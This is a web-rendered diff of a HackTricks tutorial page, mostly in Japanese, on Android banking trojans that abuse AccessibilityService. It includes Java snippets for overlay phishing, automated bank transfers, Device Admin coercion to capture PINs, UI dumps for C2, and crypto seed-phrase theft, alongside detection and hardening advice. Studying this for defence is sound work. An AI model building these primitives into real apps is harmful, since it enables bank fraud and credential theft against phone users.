| - "Hotovo" → "完了" | ||||
| 
 | ||||
| Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly. | ||||
| オペレーターは、`check_limit` や `limit` のようなコマンドを使って、同様に限度額のUIを操作し、送金限度を確認・引き上げることもできます。 | ||||
| 
 | ||||
| ### Crypto wallet seed extraction | ||||
| 対象は MetaMask、Trust Wallet、Blockchain.com、Phantom のようなアプリ。フロー: unlock(盗んだ PIN または提供された password)、Security/Recovery に移動して seed phrase を表示、keylog/exfiltrate it。ナビゲーションを言語間で安定させるために、locale-aware selectors (EN/RU/CZ/SK) を実装する。 | ||||
| 
 | ||||
| ### Device Admin coercion | ||||
| Device Admin APIs は、PIN 捕獲の機会を増やし、被害者を困らせるために使用されます: | ||||
| 
 | ||||
| - 即時ロック: | ||||
| ```java | ||||
| dpm.lockNow(); | ||||
| ``` | ||||
| - 現在の認証情報を期限切れにして変更を強制する(Accessibility が新しい PIN/パスワードを取得する): | ||||
| ```java | ||||
| dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner | ||||
| ``` | ||||
| - keyguard の生体認証機能を無効化して、非生体認証でのロック解除を強制する: | ||||
| ```java | ||||
| dpm.setKeyguardDisabledFeatures(admin, | ||||
| DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | | ||||
| DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS); | ||||
| ``` | ||||
| 注意: 多くの DevicePolicyManager 制御は最近の Android で Device Owner/Profile Owner を必要とします; 一部の OEM ビルドは緩い場合があります。常にターゲットの OS/OEM 上で検証してください。 | ||||
| 
 | ||||
| ### NFC リレーのオーケストレーション (NFSkate) | ||||
| Stage-3 は外部の NFC-relay モジュール(例: NFSkate)をインストールして起動し、リレー中に被害者を誘導するための HTML テンプレートを渡すことさえできます。これにより、オンライン ATS と並行した非接触カード提示によるキャッシュアウトが可能になります。 | ||||
| 
 | ||||
| 背景: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay). | ||||
| 
 | ||||
| ### Operator command set (sample) | ||||
| - UI/状態: `txt_screen`, `screen_live`, `display`, `record` | ||||
| - ソーシャル: `send_push`, `Facebook`, `WhatsApp` | ||||
| - オーバーレイ: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint` | ||||
| - ウォレット: `metamask`, `trust`, `blockchain`, `phantom` | ||||
| - ATS: `transfer`, `check_limit`, `limit` | ||||
| - デバイス: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound` | ||||
| - 通信/偵察: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact` | ||||
| - NFC: `nfs`, `nfs_inject` | ||||
| 
 | ||||
| ### 検出と防御のアイデア (RatOn スタイル) | ||||
| - インストーラー/権限メソッドを公開する `addJavascriptInterface()` を使った WebView を探索する; Accessibility プロンプトを引き起こす “/access” で終わるページに注目する。 | ||||
| - サービスアクセス付与直後に高頻度の Accessibility ジェスチャ/クリックを生成するアプリにアラートを出す; Accessibility ノードダンプに似たテレメトリを C2 に送信する挙動を監視する。 | ||||
| - 信頼されていないアプリでの Device Admin ポリシー変更を監視する: `lockNow`、パスワードの有効期限設定、keyguard 機能の切り替え。 | ||||
| - 非企業アプリからの MediaProjection プロンプトと、それに続く定期的なフレームアップロードを検知したらアラートを上げる。 | ||||
| - 別のアプリによってトリガーされる外部 NFC-relay アプリのインストール/起動を検出する。 | ||||
| - 銀行向け: out-of-band 確認、生体認証バインディング、オンデバイスの自動化に耐性のある取引制限を施行する。 | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign) | ||||
| - [Luban – Android image compression library](https://github.com/Curzibn/Luban) | ||||
| - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/) | ||||
| - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging) | ||||
| - [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) | ||||
| - [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
| @ -2,23 +2,23 @@ | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## 概要 | ||||
| ## Overview | ||||
| 
 | ||||
| `AccessibilityService` は、障害のあるユーザーが Android デバイスと対話するのを助けるために作成されました。残念ながら、同じ **強力な自動化 API**(グローバルナビゲーション、テキスト入力、ジェスチャー配信、オーバーレイウィンドウ…)は、マルウェアによって武器化され、**完全なリモート制御**を取得するために使用される可能性があります _root 権限なしで_。 | ||||
| `AccessibilityService` は、障害を持つユーザーが Android デバイスとやり取りするのを支援するために作られました。残念ながら、同じく強力な **automation APIs**(グローバルナビゲーション、テキスト入力、ジェスチャー送出、オーバーレイウィンドウ…)は、マルウェアによって悪用され、`root` 権限なしで端末を**完全にリモート制御**するために利用され得ます。 | ||||
| 
 | ||||
| 現代の Android 銀行トロイの木馬やリモートアクセス型トロイの木馬(RAT)である **PlayPraetor、SpyNote、BrasDex、SOVA、ToxicPanda** などは、同じレシピに従います: | ||||
| 最新の Android バンキングトロイの木馬や Remote-Access-Trojans (RATs)、例えば **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** などは、同じ手口を踏襲しています: | ||||
| 
 | ||||
| 1. 被害者を社会工学的に騙して、悪意のあるアクセシビリティサービスを有効にさせる(*BIND_ACCESSIBILITY_SERVICE* 権限は「高リスク」と見なされ、明示的なユーザーアクションが必要です)。 | ||||
| 1. 被害者をソーシャルエンジニアリングで誘導し、悪意ある accessibility service を有効化させる(*BIND_ACCESSIBILITY_SERVICE* 権限は「high-risk」と見なされ、明示的なユーザー操作が必要です)。 | ||||
| 2. サービスを利用して | ||||
| * 画面に表示されるすべての UI イベントとテキストをキャプチャする、 | ||||
| * 合成ジェスチャー(`dispatchGesture`)やグローバルアクション(`performGlobalAction`)を注入して、オペレーターが望む任意のタスクを自動化する、 | ||||
| * **TYPE_ACCESSIBILITY_OVERLAY** ウィンドウタイプを使用して、正当なアプリの上に全画面オーバーレイを描画する(`SYSTEM_ALERT_WINDOW` プロンプトなし!)、 | ||||
| * 被害者の代わりにシステムダイアログをクリックして、追加のランタイム権限を静かに付与する。 | ||||
| 3. ユーザーが完全に正常な画面を見ている間に、データを抽出したり、**On-Device-Fraud (ODF)** をリアルタイムで実行したりします。 | ||||
| * 合成ジェスチャー(`dispatchGesture`)やグローバルアクション(`performGlobalAction`)を注入して、攻撃者が望む任意のタスクを自動化する、 | ||||
| * 正規のアプリの上にフルスクリーンオーバーレイを描画する(ウィンドウタイプ **TYPE_ACCESSIBILITY_OVERLAY** を使用。`SYSTEM_ALERT_WINDOW` のプロンプトは不要!)、 | ||||
| * システムダイアログ上のボタンを被害者に代わってクリックすることで、追加のランタイム権限をサイレントに付与する。 | ||||
| 3. データを流出させるか、ユーザーが普通の画面を見ている間にリアルタイムで**デバイス上での詐欺(On-Device-Fraud、ODF)**を実行する。 | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 権限の要求 | ||||
| ## Requesting the permission | ||||
| ```xml | ||||
| <!-- AndroidManifest.xml --> | ||||
| <service | ||||
| @ -34,7 +34,7 @@ android:exported="false"> | ||||
| android:resource="@xml/evil_accessibility_config"/> | ||||
| </service> | ||||
| ``` | ||||
| コンパニオンXMLは、フェイクダイアログの見た目を定義します: | ||||
| コンパニオンXMLは、偽のダイアログの見た目を定義します: | ||||
| ```xml | ||||
| <?xml version="1.0" encoding="utf-8"?> | ||||
| <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" | ||||
| @ -47,7 +47,7 @@ android:canRetrieveWindowContent="true"/> | ||||
| ``` | ||||
| --- | ||||
| 
 | ||||
| ## リモートUI自動化プリミティブ | ||||
| ## リモートUI自動化の基本操作 | ||||
| ```java | ||||
| public class EvilService extends AccessibilityService { | ||||
| @Override | ||||
| @ -68,17 +68,17 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul | ||||
| } | ||||
| } | ||||
| ``` | ||||
| これらの2つのAPIだけで、攻撃者は次のことができます: | ||||
| * スクリーンのロックを解除し、銀行アプリを開き、そのUIツリーをナビゲートして、送金フォームを送信します。 | ||||
| * ポップアップするすべての権限ダイアログを承認します。 | ||||
| * Play Storeインテントを介して追加のAPKをインストール/更新します。 | ||||
| これら2つのAPIsだけで攻撃者は次のことができる: | ||||
| * 画面ロックを解除し、銀行アプリを開き、そのUIツリーを辿って振込フォームを送信する。 | ||||
| * 表示されるすべての権限ダイアログを承認する。 | ||||
| * Play Store intent経由で追加のAPKをインストール/更新する。 | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 悪用パターン | ||||
| 
 | ||||
| ### 1. オーバーレイフィッシング(認証情報収集) | ||||
| 透明または不透明な `WebView` がウィンドウマネージャに追加されます: | ||||
| ### 1. Overlay Phishing (Credential Harvesting) | ||||
| 透明または不透明な `WebView` が window manager に追加される: | ||||
| ```java | ||||
| WindowManager.LayoutParams lp = new WindowManager.LayoutParams( | ||||
| MATCH_PARENT, MATCH_PARENT, | ||||
| @ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real | ||||
| PixelFormat.TRANSLUCENT); | ||||
| wm.addView(phishingView, lp); | ||||
| ``` | ||||
| 被害者は偽のフォームに認証情報を入力し、バックグラウンドアプリは同じジェスチャーを受け取ります - 疑わしい「他のアプリの上に描画する」プロンプトは表示されません。 | ||||
| 被害者は偽フォームに資格情報を入力している間、バックグラウンドのアプリが同じジェスチャを受け取り—「draw over other apps」という怪しいプロンプトは一切表示されません。 | ||||
| 
 | ||||
| > 詳細な例: *Accessibility Overlay Phishing* セクションは Tapjacking ページ内にあります。 | ||||
| > 詳細な例: *Accessibility Overlay Phishing* セクション(Tapjacking ページ内)。 | ||||
| 
 | ||||
| ### 2. デバイス上の詐欺自動化 | ||||
| **PlayPraetor** のようなマルウェアファミリーは、オペレーターが高レベルのコマンド(`init`, `update`, `alert_arr`, `report_list`, …)を発行できる持続的な WebSocket チャネルを維持します。このサービスは、これらのコマンドを上記の低レベルのジェスチャーに変換し、そのデバイスに関連付けられた多要素認証を簡単に回避するリアルタイムの不正取引を実現します。 | ||||
| ### 2. On-Device Fraud automation | ||||
| マルウェアファミリー(例: **PlayPraetor**)は、オペレータが高レベルのコマンド(`init`, `update`, `alert_arr`, `report_list`, …)を発行できる永続的な WebSocket チャネルを維持します。サービスはそれらのコマンドを上記の低レベルなジェスチャに変換し、そのデバイスに紐づいた多要素認証を容易にバイパスするリアルタイムの不正トランザクションを実現します。 | ||||
| 
 | ||||
| ### 3. スクリーンストリーミングとモニタリング | ||||
| **MediaProjection API** と RTMP クライアントライブラリを組み合わせることで、RAT はライブフレームバッファを `rtmp://<c2>:1935/live/<device_id>` にブロードキャストし、Accessibility エンジンが UI を駆動している間、敵に完璧な状況認識を提供します。 | ||||
| ### 3. Screen streaming & monitoring | ||||
| **MediaProjection API** と RTMP クライアントライブラリを組み合わせることで、RAT はライブフレームバッファを `rtmp://<c2>:1935/live/<device_id>` にブロードキャストでき、Accessibility エンジンが UI を操作している間も攻撃者に完璧な状況認識を提供します。 | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## PlayPraetor – コマンド&コントロールワークフロー | ||||
| ## PlayPraetor – コマンド&コントロールのワークフロー | ||||
| 
 | ||||
| 1. **HTTP(S) ハートビート** – ハードコーディングされたリストを繰り返し、1つのドメインが `POST /app/searchPackageName` でアクティブな C2 に応答するまで。 | ||||
| 2. **WebSocket (ポート 8282)** – 双方向 JSON コマンド: | ||||
| * `update` – 新しい conf/APK をプッシュ | ||||
| * `alert_arr` – オーバーレイテンプレートを構成 | ||||
| * `report_list` – ターゲットパッケージ名のリストを送信 | ||||
| * `heartbeat_web` – キープアライブ | ||||
| 3. **RTMP (ポート 1935)** – ライブスクリーン/ビデオストリーミング。 | ||||
| 4. **REST エクスフィルトレーション** – | ||||
| * `/app/saveDevice` (フィンガープリンツ) | ||||
| 1. **HTTP(S) heartbeat** – ハードコードされたリストを順に試し、あるドメインが `POST /app/searchPackageName` にアクティブな C2 を返すまで繰り返す。 | ||||
| 2. **WebSocket (port 8282)** – 双方向の JSON コマンド: | ||||
| * `update` – 新しい conf/APKs をプッシュ | ||||
| * `alert_arr` – overlay テンプレートを設定 | ||||
| * `report_list` – ターゲットパッケージ名の一覧を送信 | ||||
| * `heartbeat_web` – keep-alive | ||||
| 3. **RTMP (port 1935)** – ライブ画面/ビデオのストリーミング。 | ||||
| 4. **REST exfiltration** – | ||||
| * `/app/saveDevice`(フィンガープリント) | ||||
| * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` | ||||
| * `/app/saveCardPwd` (銀行クレデンシャル) | ||||
| * `/app/saveCardPwd`(銀行認証情報) | ||||
| 
 | ||||
| **AccessibilityService** は、これらのクラウドコマンドを物理的なインタラクションに変換するローカルエンジンです。 | ||||
| ローカルエンジンである **AccessibilityService** が、これらのクラウドコマンドを物理的な操作に変換します。 | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 悪意のあるアクセシビリティサービスの検出 | ||||
| ## Detecting malicious accessibility services | ||||
| 
 | ||||
| * `adb shell settings get secure enabled_accessibility_services` | ||||
| * 設定 → アクセシビリティ → *ダウンロードしたサービス* – Google Play からのアプリでないものを探す。 | ||||
| * MDM / EMM ソリューションは、サイドロードされたサービスをブロックするために `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) を強制できます。 | ||||
| * 実行中のサービスを分析: | ||||
| * Settings → Accessibility → *Downloaded services* – Google Play から配布されていないアプリを探す。 | ||||
| * MDM / EMM ソリューションは `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) を適用して sideloaded サービスをブロックできます。 | ||||
| * 実行中のサービスを解析: | ||||
| ```bash | ||||
| adb shell dumpsys accessibility | grep "Accessibility Service" | ||||
| ``` | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## アプリ開発者向けの強化推奨 | ||||
| ## Hardening recommendations for app developers | ||||
| 
 | ||||
| * 敏感なビューに `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` をマークする (API 34+)。 | ||||
| * `setFilterTouchesWhenObscured(true)` と `FLAG_SECURE` を組み合わせてタップ/オーバーレイのハイジャックを防ぐ。 | ||||
| * `WindowManager.getDefaultDisplay().getFlags()` または `ViewRootImpl` API をポーリングしてオーバーレイを検出する。 | ||||
| * `Settings.canDrawOverlays()` **または** 非信頼のアクセシビリティサービスがアクティブな場合は操作を拒否する。 | ||||
| * 敏感な View に `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` を設定する(API 34+)。 | ||||
| * `setFilterTouchesWhenObscured(true)` を `FLAG_SECURE` と組み合わせて、tap/overlay hijacking を防ぐ。 | ||||
| * `WindowManager.getDefaultDisplay().getFlags()` や `ViewRootImpl` API をポーリングして overlays を検出する。 | ||||
| * `Settings.canDrawOverlays()` が有効、または信頼できない Accessibility サービスがアクティブな場合は動作を拒否する。 | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## 参考文献 | ||||
| ## ATS 自動化 チートシート (Accessibility-driven) | ||||
| Malware は Accessibility APIs のみで銀行アプリを完全自動化できます。汎用プリミティブ: | ||||
| ```java | ||||
| // Helpers inside your AccessibilityService | ||||
| private List<AccessibilityNodeInfo> byText(String t){ | ||||
| AccessibilityNodeInfo r = getRootInActiveWindow(); | ||||
| return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); | ||||
| } | ||||
| private boolean clickText(String t){ | ||||
| for (AccessibilityNodeInfo n: byText(t)){ | ||||
| if (n.isClickable()) return n.performAction(ACTION_CLICK); | ||||
| AccessibilityNodeInfo p = n.getParent(); | ||||
| if (p != null) return p.performAction(ACTION_CLICK); | ||||
| } | ||||
| return false; | ||||
| } | ||||
| private void inputText(AccessibilityNodeInfo field, String text){ | ||||
| Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); | ||||
| field.performAction(ACTION_SET_TEXT, b); | ||||
| } | ||||
| private void tap(float x, float y){ | ||||
| Path p = new Path(); p.moveTo(x,y); | ||||
| dispatchGesture(new GestureDescription.Builder() | ||||
| .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); | ||||
| } | ||||
| ``` | ||||
| 例のフロー(チェコ語 → 英語ラベル): | ||||
| - "Nová platba" (新しい支払い) → クリック | ||||
| - "Zadat platbu" (支払いを入力) → クリック | ||||
| - "Nový příjemce" (新しい受取人) → クリック | ||||
| - "Domácí číslo účtu" (国内口座番号) → フォーカスして `ACTION_SET_TEXT` | ||||
| - "Další" (次へ) → クリック → … "Zaplatit" (支払う) → クリック → PINを入力 | ||||
| 
 | ||||
| フォールバック: カスタムウィジェットのためにテキスト検索が失敗した場合、`dispatchGesture` を使ったハードコードされた座標。 | ||||
| 
 | ||||
| また、転送前に limits UI をナビゲートして日次制限を引き上げることで、`check_limit` と `limit` への事前ステップが見られることもある。 | ||||
| 
 | ||||
| ## テキストベースの疑似スクリーンストリーミング | ||||
| 低遅延のリモート制御のため、フル動画ストリーミングの代わりに現在のUIツリーのテキスト表現をダンプしてそれを繰り返しC2に送る。 | ||||
| ```java | ||||
| private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ | ||||
| if (n==null) return; | ||||
| Rect b = new Rect(); n.getBoundsInScreen(b); | ||||
| CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); | ||||
| sb.append(indent).append("[").append(cls).append("] ") | ||||
| .append(txt==null?"":txt).append(" ") | ||||
| .append(b.toShortString()).append("\n"); | ||||
| for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb); | ||||
| } | ||||
| ``` | ||||
| これは `txt_screen`(単発)や `screen_live`(継続)のようなコマンドの基礎です。 | ||||
| 
 | ||||
| ## Device Admin 強制プリミティブ | ||||
| Device Admin receiver が有効化されると、これらの呼び出しにより資格情報を取得したり制御を維持したりする機会が増えます: | ||||
| ```java | ||||
| DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); | ||||
| ComponentName admin = new ComponentName(this, AdminReceiver.class); | ||||
| 
 | ||||
| // 1) Immediate lock | ||||
| dpm.lockNow(); | ||||
| 
 | ||||
| // 2) Force credential change (expire current PIN/password) | ||||
| dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android | ||||
| 
 | ||||
| // 3) Disable biometric unlock to force PIN/pattern entry | ||||
| int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | | ||||
| DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS; | ||||
| dpm.setKeyguardDisabledFeatures(admin, flags); | ||||
| ``` | ||||
| Note: the exact availability of these policies varies by Android version and OEM; validate the device policy role (admin vs owner) during testing. | ||||
| 
 | ||||
| ## Crypto wallet seed-phrase extraction patterns | ||||
| MetaMask、Trust Wallet、Blockchain.com、Phantom に対して観測されたフロー: | ||||
| - 盗まれた PIN(overlay/Accessibility 経由で取得)または提供されたウォレットパスワードでアンロック。 | ||||
| - 操作: Settings → Security/Recovery → Reveal/Show recovery phrase. | ||||
| - テキストノードの keylogging、secure-screen bypass、またはテキストが隠されている場合は screenshot OCR によってフレーズを収集。 | ||||
| - セレクタを安定させるために複数ロケール (EN/RU/CZ/SK) をサポートする — 利用可能なら `viewIdResourceName` を優先し、なければ多言語テキストマッチングにフォールバックする。 | ||||
| 
 | ||||
| ## NFC-relay orchestration | ||||
| Accessibility/RAT モジュールは、第3段階として専用の NFC-relay アプリ(例: NFSkate)をインストール・起動し、overlay ガイドを注入して被害者を card-present リレー手順に導くこともできる。 | ||||
| 
 | ||||
| Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ## References | ||||
| * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) | ||||
| * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service) | ||||
| * [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) | ||||
| * [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user